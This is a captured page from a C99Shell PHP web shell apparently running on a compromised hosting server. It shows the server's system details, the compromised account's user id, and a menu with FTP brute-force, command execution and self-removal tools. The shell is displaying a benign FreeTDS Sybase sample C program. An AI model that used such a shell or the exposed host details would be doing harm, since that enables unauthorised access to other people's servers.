!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/freetds-devel/samples/   drwxr-xr-x
Free 6181.56 GB of 6262.76 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dyntest.c (3.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <stdio.h>
#include <ctpublic.h>

void execute(CS_COMMAND *cmd, char *id, CS_DATAFMT *datafmt, char *p1, char *p2,
             double p3, double p4) ;
int main() 
{
CS_CONTEXT *ctx; 
CS_CONNECTION *conn; 
CS_COMMAND *cmd; 
CS_RETCODE ret;
CS_RETCODE restype;
CS_DATAFMT datafmt[10];

   ret = cs_ctx_alloc(CS_VERSION_100, &ctx);
   ret = ct_init(ctx, CS_VERSION_100);
   ret = ct_con_alloc(ctx, &conn);
   ret = ct_con_props(conn, CS_SET, CS_USERNAME, "guest", CS_NULLTERM, NULL);
   ret = ct_con_props(conn, CS_SET, CS_PASSWORD, "sybase", CS_NULLTERM, NULL);
   /* ret = ct_con_props(conn, CS_SET, CS_IFILE, "/devl/t3624bb/myinterf", CS_NULLTERM, NULL); */
   ret = ct_connect(conn, "JDBC", CS_NULLTERM);
   ret = ct_cmd_alloc(conn, &cmd);

   ret = ct_command(cmd, CS_LANG_CMD, "drop table tempdb..prepare_bug ", CS_NULLTERM, CS_UNUSED);
   if (ret != CS_SUCCEED) {
     fprintf(stderr, "ct_command() failed\n");
     exit(1);
   }
   ret = ct_send(cmd);
   if (ret != CS_SUCCEED) {
     fprintf(stderr, "ct_send() failed\n");
     exit(1);
   }

    while(ct_results(cmd, &restype) == CS_SUCCEED) ;
   ret = ct_command(cmd, CS_LANG_CMD, "create table tempdb..prepare_bug (c1 char(20), c2 varchar(255), p1 float, p2 real) ", CS_NULLTERM, CS_UNUSED);
   if (ret != CS_SUCCEED) {
     fprintf(stderr, "ct_command() failed\n");
     exit(1);
   }
   ret = ct_send(cmd);
   if (ret != CS_SUCCEED) {
     fprintf(stderr, "ct_send() failed\n");
     exit(1);
   }
    while(ct_results(cmd, &restype) == CS_SUCCEED) ;

    ct_dynamic(cmd, CS_PREPARE, "BUG", CS_NULLTERM, "insert tempdb..prepare_bug values(?, ?, ?, ?)", CS_NULLTERM);
    if(ct_send(cmd) != CS_SUCCEED) {
        fprintf(stderr,"ct_send failed in prepare");
        exit(1);
    }

    while(ct_results(cmd, &restype) == CS_SUCCEED) ;
/*
---- Sybase has now created a temporary stored proc
---- now - describe the parameters 
*/

    ct_dynamic(cmd, CS_DESCRIBE_INPUT, "BUG", CS_NULLTERM, NULL, CS_UNUSED);
    ct_send(cmd);
    while(ct_results(cmd, &restype) == CS_SUCCEED) {
        if(restype == CS_DESCRIBE_RESULT) {
            CS_INT num_param, outlen;
            int i;
            ct_res_info(cmd, CS_NUMDATA, &num_param, CS_UNUSED, &outlen);
            for(i = 1; i <= num_param; ++i) {
                ct_describe(cmd, i, &datafmt[i-1]);
                printf("column type: %d size: %d\n", datafmt[i-1].datatype, datafmt[i-1].maxlength);
            }
        }
    }

/*
---- Now we have CS_DATAFMT struct for each of the input params
---- to the request. 
---- so we can execute it with some parameters
*/

    execute(cmd, "BUG", &datafmt[0], "test", "Jan 1 1988", 123.4, 222.334);

/*
---- from now on it's a standard fetch all results loop...
*/

    while(ct_results(cmd, &restype) == CS_SUCCEED) {
        printf("got restype %d\n", restype);
        if(restype == CS_ROW_RESULT) {
            int numcols, rows;
            char string[20];
            int i, len, ind, ival;
            CS_DATAFMT output[2];

            ct_res_info(cmd, CS_NUMDATA, &numcols, CS_UNUSED, NULL);
            for(i = 0; i < numcols; ++i) {
                ct_describe(cmd, (i + 1), &output[i]);
                if(output[i].datatype == CS_CHAR_TYPE) {
                    ct_bind(cmd, (i + 1), &output[i], &string, &len, &ind);
                } else {
                    ct_bind(cmd, (i + 1), &output[i], &ival, &len, &ind);
                }
            }

            while(ct_fetch(cmd, CS_UNUSED, CS_UNUSED, CS_UNUSED, &rows) == CS_SUCCEED) {
                printf("data = %.3s - %d\n", string, ival);
            }
        }
    }
}
void execute(CS_COMMAND *cmd, char *id, CS_DATAFMT *datafmt, char *p1, char *p2,
             double p3, double p4) 
{
CS_INT restype;

    printf("execute called with %s, %s, %f, %f\n", p1, p2, p3, p4);
    ct_dynamic(cmd, CS_EXECUTE, id, CS_NULLTERM, NULL, CS_UNUSED);

    datafmt[0].datatype = CS_CHAR_TYPE;
    ct_param(cmd, &datafmt[0], p1, CS_NULLTERM, 0);

    datafmt[1].datatype = CS_CHAR_TYPE;
    ct_param(cmd, &datafmt[1], p2, CS_NULLTERM, 0);

    datafmt[2].datatype = CS_FLOAT_TYPE;
    ct_param(cmd, &datafmt[2], &p3, sizeof(double), 0);

    datafmt[3].datatype = CS_FLOAT_TYPE;
    ct_param(cmd, &datafmt[3], &p4, sizeof(double), 0);

    ct_send(cmd);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0128 ]--